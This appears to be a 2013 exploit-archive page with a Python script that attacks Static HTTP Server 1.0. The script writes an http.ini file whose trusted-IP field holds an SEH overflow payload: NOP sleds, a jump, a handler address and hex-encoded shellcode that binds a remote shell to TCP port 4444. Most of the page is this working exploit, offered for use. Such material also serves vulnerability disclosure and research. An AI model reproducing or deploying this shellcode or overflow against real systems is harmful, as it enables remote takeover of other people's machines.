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Static HTTP Server 1.0 SEH Overflow

Static HTTP Server 1.0 SEH Overflow
Posted Jun 29, 2013
Authored by Jacob Holcomb

Static HTTP Server version 1.0 SEH overflow exploit that leverages the configuration file and binds a shell to port 4444.

tags | exploit, web, overflow, shell
SHA-256 | 20860972de52d3d5624343a4ab0e0c228e90b1a76c4d40afeed190c4d848a86b

Static HTTP Server 1.0 SEH Overflow

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#!/usr/bin/env python

import os

#
# Title************************Static HTTP Server SEH Overflow - HTTP Config - http_tiplist
# Discovered and Reported******June 2013
# Discovered/Exploited By******Jacob Holcomb/Gimppy, Security Analyst @ Independent Security Evaluators
# Exploit/Advisory*************http://infosec42.blogspot.com/
# Software*********************Static HTTP Server v1.0 (Listens on TCP/80)
# *****************************http://sourceforge.net/projects/static-httpd/?source=dlp
# Tested Platform*************Winodws XP SP2
# CVE**************************Static HTTP Server 1.0 - SEH Overflow: Pending
#
# Notes:
# Multiple HTTP commands and headers are vulnerable to overflows and trigger an exception, but
# I was unable to control the SEH handler with anyting but configuration options in the http.ini.
#


def fileCreate():

print "\n[*] Your current file directory is %s. " % os.getcwd()

try:
File = "http.ini"
fileOpen = open(File, "w")
print "[*] Configuration file %s will be written to %s." % (File, os.getcwd())

except:
print "\n[*] ERROR! There was an issue creating your file. Please make sure you have write access to %s!!!!!\n" % os.getcwd

return fileOpen


def main():

NOP1 = "\x90" * 1691
NOP2 = NOP1[0:349]
prev = "\xEB\xF6\x90\x90" #Short JMP -10 bytes
Handler = "\x9E\x1D\x40\x00"#00401D9E httpd.exe
jmp = "\xe9\x87\xee\xff\xff"#FFFFEE87#"\xe9\xA3\xfe\xff\xff"
#344 Byte Bind Shell TCP/4444
shellcode = ("\xdb\xdd\xba\x81\x90\xd3\xb1\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x50\x31\x53\x18\x83\xeb\xfc\x03\x53\x95\x72\x26\x4d" +
"\xff\x99\x84\x46\x06\xa2\xe8\x68\x98\xd6\x7b\xb3\x7c\x62" +
"\xc6\x87\xf7\x08\xcc\x8f\x06\x1e\x45\x20\x10\x6b\x05\x9f" +
"\x21\x80\xf3\x54\x15\xdd\x05\x85\x64\x21\x9c\xf5\x02\x61" +
"\xeb\x02\xcb\xa8\x19\x0c\x09\xc7\xd6\x35\xd9\x3c\x3f\x3f" +
"\x04\xb7\x60\x9b\xc7\x23\xf8\x68\xcb\xf8\x8e\x30\xcf\xff" +
"\x7b\xcd\xc3\x74\xf2\xbe\x3f\x97\x64\xfc\x0e\x7c\x02\x89" +
"\x33\xb2\x40\xcd\xbf\x39\x26\xd2\x12\xb6\x87\xe2\x32\xa1" +
"\x89\xbd\xc4\xdd\xc6\xbe\x0e\x7b\xb4\x26\xc6\xb7\x08\xcf" +
"\x61\xcb\x5e\x50\xd9\xd4\x4f\x06\x2a\xc7\x8c\xec\xfc\xe7" +
"\xbb\x4c\x75\xf2\x22\xf2\x68\xf5\xa8\xa1\x18\x04\x52\x99" +
"\xb4\xd1\xa5\xef\xe9\xb5\x4a\xd9\xa2\x6a\xe6\xb5\x17\xce" +
"\x5b\x79\xc4\x2f\x8b\x1b\x82\xde\x70\x82\x01\x68\x69\xdf" +
"\xcd\xce\x70\x90\xca\x58\x7a\x86\xbe\x76\xd5\x72\xc1\xa7" +
"\xbd\xd8\x90\x66\xd7\x76\x15\xa0\x74\x2c\x16\x9d\x13\x2b" +
"\xa1\x98\xad\xe4\xce\x73\x7d\x5f\x64\x29\x81\x8f\x17\xb9" +
"\x9a\x49\xd1\x43\x32\x55\x0b\xe6\x43\x79\xd5\x63\xd8\x1c" +
"\x71\x17\x4d\x68\x64\xbd\xdd\x33\x4f\x8e\x57\x24\xe5\x4a" +
"\xe1\x49\xc8\x92\x02\x27\xd4\x51\xc8\xc6\x6a\x7a\x81\xba" +
"\x10\xba\x0e\x6f\x4f\xd2\x22\x8e\x3c\x35\x3c\x1b\x06\xc5" +
"\x14\xbf\xd1\x6b\xc8\x11\x8c\xe1\xeb\xc0\x7f\xa3\xba\x1d" +
"\xaf\x23\x90\x3b\x4a\x7a\xb9\x44\x82\xe8\xc1\x44\x1d\x12" +
"\xed\x30\x36\x10\x8d\x83\xdc\x17\x44\x59\xe3\x38\x01\xae" +
"\x91\xbd\x8d\x1d\x5a\x6b\xce\x72")
sploit = NOP2 + shellcode + NOP1 + jmp + prev + Handler
File = fileCreate()
Config = ("""
# HTTP Daemon config file
# GarajCode programed by Savu Andrei

# This is the configuration file


# You can configure the maximum number
# of simultanious connections
max_http_connections = 256


# The port on which the server will listen
http_port = 80

# Multiple connections from same computer
http_mcsc = 1

# Banned ip list - separed by ;
http_ubip = 0
# http_biplist = ""

# Trusted ip list - separed by ;
http_utip = 0
# http_tiplist = "%s"

""") % sploit

File.write(Config)
File.close()

if __name__ == "__main__":
main()
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